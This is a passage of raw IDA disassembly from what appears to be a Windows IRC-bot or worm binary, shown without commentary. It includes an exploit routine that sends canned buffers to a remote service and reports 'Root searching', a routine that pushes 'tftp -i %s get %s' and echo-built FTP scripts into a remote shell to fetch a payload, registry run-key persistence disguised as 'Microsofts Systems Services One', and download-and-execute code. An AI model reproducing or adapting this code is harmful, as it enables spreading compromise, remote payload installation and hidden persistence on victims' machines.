ptr -1D0h var_1B0 = byte ptr -1B0h var_190 = byte ptr -190h var_170 = byte ptr -170h var_150 = byte ptr -150h var_130 = byte ptr -130h var_110 = byte ptr -110h var_F0 = byte ptr -0F0h var_D0 = byte ptr -0D0h var_B0 = byte ptr -0B0h var_90 = byte ptr -90h var_70 = byte ptr -70h var_50 = byte ptr -50h var_30 = byte ptr -30h var_20 = dword ptr -20h var_10 = byte ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 arg_136F8 = byte ptr 136FCh arg_13720 = dword ptr 13724h arg_13864 = byte ptr 13868h arg_1388C = byte ptr 13890h arg_13924 = dword ptr 13928h mov eax, 13894h call sub_40B690 push ebx push ebp push esi push edi xor edi, edi push edi push 1 push 2 call dword_4171A8 ; socket mov esi, eax lea eax, [esp+1Ch+arg_1388C] push eax mov word ptr [esp+20h+var_8], 2 call dword_417190 ; inet_addr push [esp+20h+arg_13924] mov [esp+24h+var_8], eax call dword_417194 ; htons mov [esp+24h+var_E], ax lea eax, [esp+24h+var_10] push 10h push eax push esi call dword_417198 ; connect test eax, eax jge short loc_4029D3 loc_4029CC: ; CODE XREF: sub_402972+275j xor eax, eax jmp loc_402DFE ; --------------------------------------------------------------------------- loc_4029D3: ; CODE XREF: sub_402972+58j lea eax, [esp+30h+var_20] push 4 push eax push 1006h push 0FFFFh push esi mov [esp+44h+var_20], 1388h call dword_41719C ; setsockopt lea eax, [esp+44h+arg_13864] push 1 push eax call sub_403CA3 pop ecx cmp eax, 2 pop ecx jz loc_402BEC cmp eax, 1 jz loc_402BEC mov ebx, dword_4171AC push edi push 48h push offset aB ; "" push esi call ebx ; send mov ebp, dword_4171A0 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_419A00 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_419A60 push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_419B18 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_419C10 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_419C50 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_419CB8 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_419D50 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_419EB0 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41A010 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_41A170 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv test eax, eax jz loc_402DC7 cmp eax, 0FFFFFFFFh jz loc_402DC7 push 0 push 15Bh push offset dword_419D50 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_419EB0 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41A010 push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_41A170 push esi call ebx ; send push 1387Fh lea eax, [esp+218h+var_1F0] push 0 push eax call sub_40B630 add esp, 0Ch loc_402BB3: ; CODE XREF: sub_402972+450j push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_402DC7 cmp eax, 0FFFFFFFFh jz loc_402DC7 cmp [esp+224h+arg_13720], 8Bh push esi jnz loc_402DC8 call dword_4171A4 ; closesocket jmp loc_4029CC ; --------------------------------------------------------------------------- loc_402BEC: ; CODE XREF: sub_402972+95j ; sub_402972+9Ej mov ebx, dword_4171AC push edi push 48h push offset unk_41A1E0 push esi call ebx ; send mov ebp, dword_4171A0 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_41A230 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_41A290 push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_41A348 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 66h push offset dword_41A440 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_41A4A8 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_41A4E8 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_41A550 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41A5E8 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41A748 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41A8A8 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41AA08 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_41AB68 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_402DC7 cmp eax, 0FFFFFFFFh jz short loc_402DC7 push 0 push 15Bh push offset dword_41A5E8 push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41A748 push esi call ebx ; send push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41A8A8 push esi call ebx ; send push 0 lea eax, [esp+238h+var_210] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41AA08 push esi call ebx ; send push 0 lea eax, [esp+258h+var_230] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_41AB68 push esi call ebx ; send jmp loc_402BB3 ; --------------------------------------------------------------------------- loc_402DC7: ; CODE XREF: sub_402972+1C4j ; sub_402972+1CDj ... push esi loc_402DC8: ; CODE XREF: sub_402972+269j call dword_4171A4 ; closesocket push 7D0h call dword_417040 ; Sleep sub esp, 0BCh lea esi, [esp+268h+arg_136F8] push 2Fh pop ecx mov edi, esp rep movsd call sub_402E09 add esp, 0BCh neg eax sbb eax, eax neg eax loc_402DFE: ; CODE XREF: sub_402972+5Cj pop edi pop esi pop ebp pop ebx add esp, 13894h retn sub_402972 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E09 proc near ; CODE XREF: sub_402972+47Bp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_42B410 ; inet_addr push 0BEEFh mov [ebp+var_C], eax call dword_42B3D4 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_42B450 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_402F41 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_42B380 ; connect cmp eax, 0FFFFFFFFh jz loc_402F41 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_42B3EC ; recv mov esi, offset byte_41C1A0 push esi push esi push [ebp+arg_0] call sub_405752 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_40BDE7 add esp, 18h push esi push esi push dword_42B2B4 push [ebp+arg_0] call sub_405752 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_40BDE7 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_40B5B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_42B420 ; send cmp eax, 0FFFFFFFFh jz short loc_402F41 push 1F4h call dword_417040 ; Sleep push esi push offset dword_41AC38 lea eax, [ebp+var_1A0] push edi push eax call sub_40BDE7 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_40B5B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_42B420 ; send cmp eax, 0FFFFFFFFh jnz short loc_402F45 loc_402F41: ; CODE XREF: sub_402E09+4Fj ; sub_402E09+65j ... xor eax, eax jmp short loc_402F64 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402E09+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_42B3EC ; recv push ebx call dword_42B468 ; closesocket xor eax, eax inc eax loc_402F64: ; CODE XREF: sub_402E09+13Aj pop edi pop esi pop ebx leave retn sub_402E09 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push esi xor esi, esi cmp dword ptr [ebp+0A8h], 8Bh push edi jz short loc_402F92 cmp dword ptr [ebp+0A8h], 1BDh jnz loc_403017 loc_402F92: ; CODE XREF: .nsp0:00402F80j sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_402972 mov esi, eax add esp, 0BCh test esi, esi jz short loc_403017 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset word_41904A push eax push offset aAdminS__RootSe ; "Admin (%s) .. Root searching %s" lea eax, [ebp-200h] push 200h push eax call sub_40BDE7 push 0 lea eax, [ebp-200h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_404555 lea eax, [ebp-200h] push eax call sub_403145 mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch lea eax, dword_419070[eax] inc dword ptr [eax] loc_403017: ; CODE XREF: .nsp0:00402F8Cj ; .nsp0:00402FB1j mov eax, esi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40301D proc near ; CODE XREF: sub_403E11+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_40B54F mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_417220 call sub_40B8FC sub esi, eax mov eax, esi pop esi leave retn sub_40301D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40304D proc near ; CODE XREF: sub_406BAB+23F3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_42C1E0 mov edi, 0B8h loc_403061: ; CODE XREF: sub_40304D+33j cmp byte ptr [esi], 0 jz short loc_403084 push [ebp+arg_0] push esi call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_403084 inc [ebp+var_4] add esi, edi cmp esi, offset dword_42CD60 jl short loc_403061 jmp short loc_4030C6 ; --------------------------------------------------------------------------- loc_403084: ; CODE XREF: sub_40304D+17j ; sub_40304D+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_42C1E0[esi] push ebx call sub_40B630 push 17h push [ebp+arg_0] push ebx call sub_40B110 push 9Fh lea eax, dword_42C1F8[esi] push [ebp+arg_4] push eax call sub_40B110 add esp, 24h inc dword_41C418 pop ebx loc_4030C6: ; CODE XREF: sub_40304D+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40304D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030CD proc near ; CODE XREF: sub_406BAB+305Bp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h xor edi, edi mov esi, offset dword_42C1E0 loc_4030F7: ; CODE XREF: sub_4030CD+72j cmp byte ptr [esi], 0 jz short loc_403132 lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_200] push 200h push eax call sub_40BDE7 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 2Ch loc_403132: ; CODE XREF: sub_4030CD+2Dj add esi, 0B8h inc edi cmp esi, offset dword_42CD60 jl short loc_4030F7 pop edi pop esi leave retn sub_4030CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403145 proc near ; CODE XREF: sub_401000+BEp ; sub_4010CA+6Dp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_417068 ; GetLocalTime mov ebx, offset dword_42B278 mov edi, 0C0h mov esi, offset dword_422278 loc_403167: ; CODE XREF: sub_403145+40j cmp byte ptr [ebx], 0 jz short loc_403181 push 0BFh lea eax, [ebx+0C0h] push ebx push eax call sub_40B110 add esp, 0Ch loc_403181: ; CODE XREF: sub_403145+25j sub ebx, edi cmp ebx, esi jge short loc_403167 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_40BDE7 add esp, 28h pop edi pop esi pop ebx leave retn sub_403145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031BC proc near ; CODE XREF: sub_40322D+4p ; sub_4054C7+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor edi, edi xor esi, esi mov ebx, offset aMicrosoftsSyst ; "Microsofts Systems Services One " loc_4031CC: ; CODE XREF: sub_4031BC+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push off_41AD2C[esi] push dword_41AD28[esi] call dword_42B38C ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_40320D push [ebp+arg_0] call sub_40B5B0 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call dword_42B3F8 ; RegSetValueExA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_40320D: ; CODE XREF: sub_4031BC+33j push ebx push [ebp+var_4] call dword_42B350 ; RegDeleteValueA loc_403217: ; CODE XREF: sub_4031BC+4Fj push [ebp+var_4] call dword_42B3B0 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_4031CC pop edi pop esi pop ebx leave retn sub_4031BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40322D proc near ; CODE XREF: sub_40322D+16j ; DATA XREF: sub_406422+368o arg_0 = dword ptr 4 push [esp+arg_0] call sub_4031BC pop ecx push dword_41AD24 call dword_417040 ; Sleep jmp short sub_40322D sub_40322D endp ; =============== S U B R O U T I N E ======================================= sub_403245 proc near ; CODE XREF: sub_40327E+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_403277 mov ecx, 0FFh push ebx loc_40325C: ; CODE XREF: sub_403245+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_417228[eax*4] xor esi, eax inc edx dec edi jnz short loc_40325C pop ebx loc_403277: ; CODE XREF: sub_403245+Fj mov eax, esi pop edi not eax pop esi retn sub_403245 endp ; =============== S U B R O U T I N E ======================================= sub_40327E proc near ; CODE XREF: sub_4032EE+23Fp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_40B6BF mov [esp+10h+var_10], offset dword_41AD40 push [esp+10h+arg_0] mov esi, eax call sub_40C7B8 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_4032C9 loc_4032A3: ; CODE XREF: sub_40327E+37j xor eax, eax jmp short loc_4032EA ; --------------------------------------------------------------------------- loc_4032A7: ; CODE XREF: sub_40327E+4Fj inc ebx push ebx push esi call sub_40C4F8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4032A3 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_40C410 add esp, 10h loc_4032C9: ; CODE XREF: sub_40327E+23j test byte ptr [edi+0Ch], 10h jz short loc_4032A7 dec ebx push ebx push esi call sub_403245 push esi mov ebx, eax call sub_40B771 push edi call sub_40C3BA add esp, 10h mov eax, ebx loc_4032EA: ; CODE XREF: sub_40327E+27j pop edi pop esi pop ebx retn sub_40327E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032EE proc near ; DATA XREF: sub_406BAB+1E01o ; sub_406BAB+20C0o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_42B388 call dword_42B2FC ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_403767 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_41707C ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_4033B5 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_41AF28 push eax call sub_40B0B3 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_403398 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 add esp, 14h loc_403398: ; CODE XREF: sub_4032EE+88j lea eax, [ebp+var_510] push eax call sub_403145 push [ebp+var_48] call sub_40AD6A pop ecx pop ecx push esi call dword_417050 ; ExitThread loc_4033B5: ; CODE XREF: sub_4032EE+68j xor edi, edi call dword_41705C ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_40B6BF pop ecx mov [ebp+var_1C], eax loc_4033CF: ; CODE XREF: sub_4032EE+1A9j push 200h lea eax, [ebp+var_510] push esi push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_42B304 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_403413 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_4037CD pop ecx pop ecx loc_403413: ; CODE XREF: sub_4032EE+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_417078 ; WriteFile cmp edi, ebx jnb short loc_403451 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40343B mov eax, [ebp+arg_0] loc_40343B: ; CODE XREF: sub_4032EE+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_40B210 add esp, 0Ch loc_403451: ; CODE XREF: sub_4032EE+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40345E cmp edi, [ebp+var_3C] ja short loc_40349D loc_40345E: ; CODE XREF: sub_4032EE+169j mov eax, edi shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_42CD60 cmp [ebp+var_44], 1 jz short loc_403486 push offset unk_41AEF0 jmp short loc_40348B ; --------------------------------------------------------------------------- loc_403486: ; CODE XREF: sub_4032EE+18Fj push offset unk_41AEBC loc_40348B: ; CODE XREF: sub_4032EE+196j push eax call sub_40B0B3 add esp, 10h cmp [ebp+arg_0], esi ja loc_4033CF loc_40349D: ; CODE XREF: sub_4032EE+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_4034F2 cmp edi, [ebp+var_3C] jz short loc_4034F2 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_41AE84 push eax call sub_40B0B3 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 lea eax, [ebp+var_510] push eax call sub_403145 add esp, 28h loc_4034F2: ; CODE XREF: sub_4032EE+1B9j ; sub_4032EE+1BEj call dword_41705C ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_417074 ; CloseHandle push [ebp+var_1C] call sub_40B771 cmp [ebp+var_38], esi pop ecx jz short loc_40357C lea eax, [ebp+var_148] push eax call sub_40327E cmp eax, [ebp+var_38] pop ecx jz short loc_40357C push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_41AE58 push eax call sub_40B0B3 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 lea eax, [ebp+var_510] push eax call sub_403145 add esp, 28h loc_40357C: ; CODE XREF: sub_4032EE+236j ; sub_4032EE+248j cmp [ebp+var_14], esi jz loc_4037B4 cmp [ebp+var_44], 1 push ecx lea eax, [ebp+var_148] push ecx jz loc_403677 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_417628 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_417628 fstp [esp+590h+var_590] push offset unk_41AE1C push eax call sub_40B0B3 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_4035F7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 add esp, 14h loc_4035F7: ; CODE XREF: sub_4032EE+2E7j lea eax, [ebp+var_510] push eax call sub_403145 cmp [ebp+var_40], 1 pop ecx jnz loc_4037B4 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_42B358 cmp [ebp+var_30], esi jnz loc_4037B4 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_41ADF4 push eax call sub_40B0B3 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 lea eax, [ebp+var_510] push eax call sub_403145 add esp, 24h jmp loc_4037B4 ; --------------------------------------------------------------------------- loc_403677: ; CODE XREF: sub_4032EE+2A3j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_417628 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_417628 fstp [esp+590h+var_590] push offset unk_41ADB0 push eax call sub_40B0B3 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_4036D7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 add esp, 14h loc_4036D7: ; CODE XREF: sub_4032EE+3C7j lea eax, [ebp+var_510] push eax call sub_403145 push 10h lea eax, [ebp+var_10] push esi push eax call sub_40B630 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_40B630 add esp, 1Ch lea eax, [ebp+var_10] mov [ebp+var_310], edi xor edi, edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi inc edi push eax push esi mov [ebp+var_304], offset byte_422270 mov [ebp+var_2E4], edi mov [ebp+var_2E0], si call dword_417070 ; CreateProcessA cmp eax, edi jnz short loc_403759 call dword_42B344 ; WSACleanup call sub_4054C7 push esi call dword_41706C ; ExitProcess loc_403759: ; CODE XREF: sub_4032EE+457j lea eax, [ebp+var_148] push eax push offset unk_41AD74 jmp short loc_403773 ; --------------------------------------------------------------------------- loc_403767: ; CODE XREF: sub_4032EE+45j lea eax, [ebp+var_248] push eax push offset unk_41AD44 loc_403773: ; CODE XREF: sub_4032EE+477j lea eax, [ebp+var_510] push eax call sub_40B0B3 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4037A7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 add esp, 14h loc_4037A7: ; CODE XREF: sub_4032EE+497j lea eax, [ebp+var_510] push eax call sub_403145 pop ecx loc_4037B4: ; CODE XREF: sub_4032EE+291j ; sub_4032EE+31Aj ... push [ebp+var_18] call dword_42B404 ; InternetCloseHandle push [ebp+var_48] call sub_40AD6A pop ecx push esi call dword_417050 ; ExitThread sub_4032EE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4037CD proc near ; CODE XREF: sub_4032EE+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_4037E9 loc_4037D9: ; CODE XREF: sub_4037CD+1Aj mov dl, byte_41C0E8 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4037D9 locret_4037E9: ; CODE XREF: sub_4037CD+Aj retn sub_4037CD endp ; =============== S U B R O U T I N E ======================================= sub_4037EA proc near ; CODE XREF: sub_406BAB+1626p ; sub_406BAB+1797p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40C7CB pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_4037EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403804 proc near ; CODE XREF: sub_403913+66p ; sub_403913+97p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_42B278 push 0 push edi call sub_40B630 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_403829: ; CODE XREF: sub_403804+5Bj ; sub_403804+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_40C880 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_40C810 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_403867 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_403829 mov byte ptr [esi], 2Ch inc esi jmp short loc_403829 ; --------------------------------------------------------------------------- loc_403867: ; CODE XREF: sub_403804+4Bj mov eax, edi jmp short loc_403870 ; --------------------------------------------------------------------------- loc_40386B: ; CODE XREF: sub_403804+72j mov cl, [esi] mov [eax], cl inc eax loc_403870: ; CODE XREF: sub_403804+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_40386B and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_403804 endp ; =============== S U B R O U T I N E ======================================= sub_403882 proc near ; CODE XREF: sub_403A2E+51p ; sub_403A2E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_42B430 ; GetDriveTypeA sub eax, 0 jz short loc_4038C5 dec eax jz short loc_4038BF dec eax dec eax jz short loc_4038B9 dec eax jz short loc_4038B3 dec eax jz short 